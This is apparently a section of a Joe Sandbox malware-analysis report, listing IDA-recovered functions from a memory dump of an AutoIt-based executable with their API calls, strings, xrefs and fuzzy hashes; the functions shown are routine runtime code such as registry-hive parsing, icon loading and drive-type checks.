Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 9fa3dac0a6fa8159265db6508981eae07a5ae0a3336412ed62b7c13652a5b2ac
Instruction ID: d1c3ca13ba38208a5d7acd3593ce4ba793188a10ecce48da2f4b30202e9402cd
Opcode Fuzzy Hash: 9fa3dac0a6fa8159265db6508981eae07a5ae0a3336412ed62b7c13652a5b2ac
Instruction Fuzzy Hash: 6BE16971218341DFC714EF25C59092AB7E1FF98314B54899AF8AA5B3A2DB30EE45CB81

Function 00B6C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6B6AE,?,?), ref: 00B6C9B5
_wcslen.LIBCMT ref: 00B6C9F1
_wcslen.LIBCMT ref: 00B6CA68
_wcslen.LIBCMT ref: 00B6CA9E
_wcslen.LIBCMT ref: 00B6CAF9
_wcslen.LIBCMT ref: 00B6CB2F
_wcslen.LIBCMT ref: 00B6CB7F

Strings

HKU, xrefs: 00B6CBF0
HKEY_LOCAL_MACHINE, xrefs: 00B6CA62, 00B6CA67
HKCC, xrefs: 00B6CBAC
HKEY_CURRENT_CONFIG, xrefs: 00B6CB79, 00B6CB7E
HKLM, xrefs: 00B6CA98, 00B6CA9D
HKEY_USERS, xrefs: 00B6CBDF
HKCU, xrefs: 00B6CBCE
HKCR, xrefs: 00B6CB29, 00B6CB2E
HKEY_CURRENT_USER, xrefs: 00B6CBBD
HKEY_CLASSES_ROOT, xrefs: 00B6CAF3, 00B6CAF8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 87a8e2767c53685d7825700467ea27de27f3becf57f907a5ba9ce2f47482743d
Instruction ID: 65df9ae9adee6a5cd13a7ec03961be6eea556f96e4d6110a4486db04ace2687d
Opcode Fuzzy Hash: 87a8e2767c53685d7825700467ea27de27f3becf57f907a5ba9ce2f47482743d
Instruction Fuzzy Hash: 9871F43360416A8BCB20DEBCCD915BB3BD1EF61754F2505A8FC9697288EA39CD4583A0

Function 00B7833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B7835A
_wcslen.LIBCMT ref: 00B7836E
_wcslen.LIBCMT ref: 00B78391
_wcslen.LIBCMT ref: 00B783B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00B783F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00B7361A,?), ref: 00B7844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00B78487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00B784CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00B78501
FreeLibrary.KERNEL32(?), ref: 00B7850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00B7851D
DestroyIcon.USER32(?), ref: 00B7852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00B78549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00B78555

Strings

.icl, xrefs: 00B78368
.dll, xrefs: 00B783AB
.exe, xrefs: 00B78388

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 10c80d61c22aec30b0ede58c891070eaf8264beccc10ecbdba1ada00cfa2f7a4
Instruction ID: e4b2e4b25aab5adda82daf05b274250c02ce418e209df6846d34e0b81f9a9da4
Opcode Fuzzy Hash: 10c80d61c22aec30b0ede58c891070eaf8264beccc10ecbdba1ada00cfa2f7a4
Instruction Fuzzy Hash: E761E1B1584205BEEB14DF64CC89BBE7BE8FB04711F108599F929D61D1DFB4AA80C7A0

Function 00AE7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#include, xrefs: 00AE7847
", xrefs: 00B25153
#cs, xrefs: 00AE7873, 00AE78C5
#include-once, xrefs: 00AE782F
#ce, xrefs: 00AE78ED
#pragma compile, xrefs: 00AE77D3
Unterminated group of comments, xrefs: 00B2528C
Cannot parse #include, xrefs: 00B25279
Bad directive syntax error, xrefs: 00B2519A
#OnAutoItStartRegister, xrefs: 00AE7817
#notrayicon, xrefs: 00AE77E7
#comments-start, xrefs: 00AE785F, 00AE78B1
#requireadmin, xrefs: 00AE77FF
', xrefs: 00B25169
#comments-end, xrefs: 00AE78D9

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: d5aac4d147ce6e89eb7414c1fbd41c5ed60bb754a3047973af03f77f07847846
Instruction ID: 131f5fee7c720ba8f03789e923751bcdbbb4fec5ae67e596b4dbe1d4cc3fd197
Opcode Fuzzy Hash: d5aac4d147ce6e89eb7414c1fbd41c5ed60bb754a3047973af03f77f07847846
Instruction Fuzzy Hash: 1281C271A04615BBDB21AF65DD42FBF3BE8EF15300F0440A4F909AA1D6EB70DA51CBA1

Function 00B53E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00B53EF8
_wcslen.LIBCMT ref: 00B53F03
_wcslen.LIBCMT ref: 00B53F5A
_wcslen.LIBCMT ref: 00B53F98
GetDriveTypeW.KERNEL32(?), ref: 00B53FD6
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B5401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B54059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B54087

Strings

wait, xrefs: 00B54044
closed, xrefs: 00B53F08, 00B53F2D, 00B53F46, 00B53F7E, 00B53F97
close cd wait, xrefs: 00B54072
open , xrefs: 00B53FE5
type cdaudio alias cd wait, xrefs: 00B54001
close, xrefs: 00B53EFE, 00B53F18
open, xrefs: 00B53F54, 00B53F59
set cd door , xrefs: 00B54028

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: ef6b17cd6f40f3489b2951e820a8a226ad22560b23caa0a0069227deb189340c
Instruction ID: b2e7ee388abda5ea30b74e62da705a7077567edf1c3583304ebb3ebe619565f0
Opcode Fuzzy Hash: ef6b17cd6f40f3489b2951e820a8a226ad22560b23caa0a0069227deb189340c
Instruction Fuzzy Hash: D071D2725043019FC310EF24C981A6AB7F4EF94BA8F1449ADF995972A1EB30DD49CB51

Function 00B45A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00B45A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00B45A40
SetWindowTextW.USER32(?,?), ref: 00B45A57
GetDlgItem.USER32(?,000003EA), ref: 00B45A6C
SetWindowTextW.USER32(00000000,?), ref: 00B45A72
GetDlgItem.USER32(?,000003E9), ref: 00B45A82
SetWindowTextW.USER32(00000000,?), ref: 00B45A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00B45AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00B45AC3
GetWindowRect.USER32(?,?), ref: 00B45ACC
_wcslen.LIBCMT ref: 00B45B33
SetWindowTextW.USER32(?,?), ref: 00B45B6F
GetDesktopWindow.USER32 ref: 00B45B75
GetWindowRect.USER32(00000000), ref: 00B45B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00B45BD3
GetClientRect.USER32(?,?), ref: 00B45BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00B45C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00B45C2F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: add92ca5290052c169ab0434b453a2757b2a0516f5e763396f1eb5f3bb155d65
Instruction ID: 53b3ff7f49974bc532dac6acd56cedce86cd873cabbcd05d0d829e8dc105dfa4
Opcode Fuzzy Hash: add92ca5290052c169ab0434b453a2757b2a0516f5e763396f1eb5f3bb155d65
Instruction Fuzzy Hash: 37717C31900B09AFDB20DFA8CE85AAEBBF5FF48704F10455CE546A35A1DB75EA40DB50

Function 00B5FE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00B5FE27
LoadCursorW.USER32(00000000,00007F8A), ref: 00B5FE32
LoadCursorW.USER32(00000000,00007F00), ref: 00B5FE3D
LoadCursorW.USER32(00000000,00007F03), ref: 00B5FE48
LoadCursorW.USER32(00000000,00007F8B), ref: 00B5FE53
LoadCursorW.USER32(00000000,00007F01), ref: 00B5FE5E
LoadCursorW.USER32(00000000,00007F81), ref: 00B5FE69
LoadCursorW.USER32(00000000,00007F88), ref: 00B5FE74
LoadCursorW.USER32(00000000,00007F80), ref: 00B5FE7F
LoadCursorW.USER32(00000000,00007F86), ref: 00B5FE8A
LoadCursorW.USER32(00000000,00007F83), ref: 00B5FE95
LoadCursorW.USER32(00000000,00007F85), ref: 00B5FEA0
LoadCursorW.USER32(00000000,00007F82), ref: 00B5FEAB
LoadCursorW.USER32(00000000,00007F84), ref: 00B5FEB6
LoadCursorW.USER32(00000000,00007F04), ref: 00B5FEC1
LoadCursorW.USER32(00000000,00007F02), ref: 00B5FECC
GetCursorInfo.USER32(?), ref: 00B5FEDC
GetLastError.KERNEL32 ref: 00B5FF1E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 2ca70150d2b61b78e8f72e6c05cfb673a5613e1895206a3a8db15cc5c1151b4e
Instruction ID: e3b3c7e212f3ec69efb4b4bf62faf31ad0c46cd60c98707a7153c6f1806c45c7
Opcode Fuzzy Hash: 2ca70150d2b61b78e8f72e6c05cfb673a5613e1895206a3a8db15cc5c1151b4e
Instruction Fuzzy Hash: 3F4184B0D0531A6ADB109FBA8C8996EBFE8FF04754B50456AE51DE7281DB789801CF90

Function 00B000C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00B000C6

Part of subcall function 00B000ED: InitializeCriticalSectionAndSpinCount.KERNEL32(00BB070C,00000FA0,8EC003A7,?,?,?,?,00B223B3,000000FF), ref: 00B0011C
Part of subcall function 00B000ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00B223B3,000000FF), ref: 00B00127
Part of subcall function 00B000ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00B223B3,000000FF), ref: 00B00138
Part of subcall function 00B000ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00B0014E
Part of subcall function 00B000ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00B0015C
Part of subcall function 00B000ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00B0016A
Part of subcall function 00B000ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00B00195
Part of subcall function 00B000ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00B001A0

___scrt_fastfail.LIBCMT ref: 00B000E7

Part of subcall function 00B000A3: __onexit.LIBCMT ref: 00B000A9

Strings

kernel32.dll, xrefs: 00B00133
WakeAllConditionVariable, xrefs: 00B00162
InitializeConditionVariable, xrefs: 00B00148
SleepConditionVariableCS, xrefs: 00B00154
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B00122

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: be2bbc2b41b9b2b102a4e15c1e95da577a9ebcf090d69842206206b4a8962e90
Instruction ID: 4351120114e6bf31ccc0c3559f06867b29360f007db375685ee0684721cc1e76
Opcode Fuzzy Hash: be2bbc2b41b9b2b102a4e15c1e95da577a9ebcf090d69842206206b4a8962e90
Instruction Fuzzy Hash: 9121D7326547156FD7207BA4AC09B7A7BE4EF05B51F0041BEF909B36E1DEB49C008A94

Function 00B430F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B4318D
_wcslen.LIBCMT ref: 00B431F8

Strings

CLASSNN, xrefs: 00B431F3, 00B43204
CLASS, xrefs: 00B43188, 00B431A5
TEXT, xrefs: 00B4347C
REGEXPCLASS, xrefs: 00B43255, 00B43266
INSTANCE, xrefs: 00B43453
NAME, xrefs: 00B43335, 00B43346

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: 979369d0231acfd5e548eda56fc01a9b827a38a8c26424ec9ace328143557eab
Instruction ID: a8a8918afe52dd718ef682c3eada39e11265047886a7c7bb3b710414410ea2f1
Opcode Fuzzy Hash: 979369d0231acfd5e548eda56fc01a9b827a38a8c26424ec9ace328143557eab
Instruction Fuzzy Hash: 6CE1D732A00516AFCB14DFB4C8916EDBBF4FF54B10F588199E456B7280DB70AF85A790

Function 00B544C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00B7CC08), ref: 00B54527
_wcslen.LIBCMT ref: 00B5453B
_wcslen.LIBCMT ref: 00B54599
_wcslen.LIBCMT ref: 00B545F4
_wcslen.LIBCMT ref: 00B5463F
_wcslen.LIBCMT ref: 00B546A7

Part of subcall function 00AFF9F2: _wcslen.LIBCMT ref: 00AFF9FD

GetDriveTypeW.KERNEL32(?,00BA6BF0,00000061), ref: 00B54743

Strings

ramdisk, xrefs: 00B546F1
cdrom, xrefs: 00B5458F, 00B54594
fixed, xrefs: 00B54635, 00B5463A
all, xrefs: 00B54531, 00B54536
network, xrefs: 00B5469D, 00B546A2
unknown, xrefs: 00B54708
removable, xrefs: 00B545EA, 00B545EF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 53e6e1c6e60c075a4cba7fa8a7be26620627e9c580e136656f056761f10bf95e
Instruction ID: 45089f40b2aed39b35ead943f39e91afd3974aaef0b1c2c1d02b558679395897
Opcode Fuzzy Hash: 53e6e1c6e60c075a4cba7fa8a7be26620627e9c580e136656f056761f10bf95e
Instruction Fuzzy Hash: 3BB1E1716083029FC710DF28D890B6AB7E5EFA5769F5049DDF89687291E730DC88CA62

Function 00AE326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00BB1990), ref: 00B22F8D
GetMenuItemCount.USER32(00BB1990), ref: 00B2303D
GetCursorPos.USER32(?), ref: 00B23081
SetForegroundWindow.USER32(00000000), ref: 00B2308A
TrackPopupMenuEx.USER32(00BB1990,00000000,?,00000000,00000000,00000000), ref: 00B2309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00B230A9

Strings

0, xrefs: 00AE327D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 717bb5ca1278feeed250c9bf722a7feee69c2689f6b6fcf494746c5d66ef15bd
Instruction ID: e521f0a00c7260cead4cad94b72d0b79ed443ae40bb9fff1b5e43a1c9c730c36
Opcode Fuzzy Hash: 717bb5ca1278feeed250c9bf722a7feee69c2689f6b6fcf494746c5d66ef15bd
Instruction Fuzzy Hash: 53712A31640255BEEB219F25DD89FAABFF4FF04324F20424AF618AB1E1C7B1A950D750

Function 00B76CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00B76DEB

Part of subcall function 00AE6B57: _wcslen.LIBCMT ref: 00AE6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00B76E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00B76E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B76E94
DestroyWindow.USER32(?), ref: 00B76EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00AE0000,00000000), ref: 00B76EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B76EFD
GetDesktopWindow.USER32 ref: 00B76F16
GetWindowRect.USER32(00000000), ref: 00B76F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00B76F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00B76F4D

Part of subcall function 00AF9944: GetWindowLongW.USER32(?,000000EB), ref: 00AF9952

Strings

tooltips_class32, xrefs: 00B76E58, 00B76EDD
0, xrefs: 00B76D98

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 01d5eff183d83417fcb54b0dc810e92b69dddee89bb55b0fd7f01a3a9b36b0d7
Instruction ID: f3a9b57b1bdbf2c784b092b0fa1f7ed6b54d5a21c787b43c269cb9a7c59a3d00
Opcode Fuzzy Hash: 01d5eff183d83417fcb54b0dc810e92b69dddee89bb55b0fd7f01a3a9b36b0d7
Instruction Fuzzy Hash: 62718A70104640AFDB21DF18DC98FBABBE9FB89304F54495DF99987261CB70E94ACB11

Function 00B7911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00AF9BB2

DragQueryPoint.SHELL32(?,?), ref: 00B79147

Part of subcall function 00B77674: ClientToScreen.USER32(?,?), ref: 00B7769A
Part of subcall function 00B77674: GetWindowRect.USER32(?,?), ref: 00B77710
Part of subcall function 00B77674: PtInRect.USER32(?,?,00B78B89), ref: 00B77720

SendMessageW.USER32(?,000000B0,?,?), ref: 00B791B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00B791BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00B791DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00B79225
SendMessageW.USER32(?,000000B0,?,?), ref: 00B7923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00B79255
SendMessageW.USER32(?,000000B1,?,?), ref: 00B79277
DragFinish.SHELL32(?), ref: 00B7927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00B79371

Strings

@GUI_DROPID, xrefs: 00B7929E
@GUI_DRAGID, xrefs: 00B792E9
@GUI_DRAGFILE, xrefs: 00B79320

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
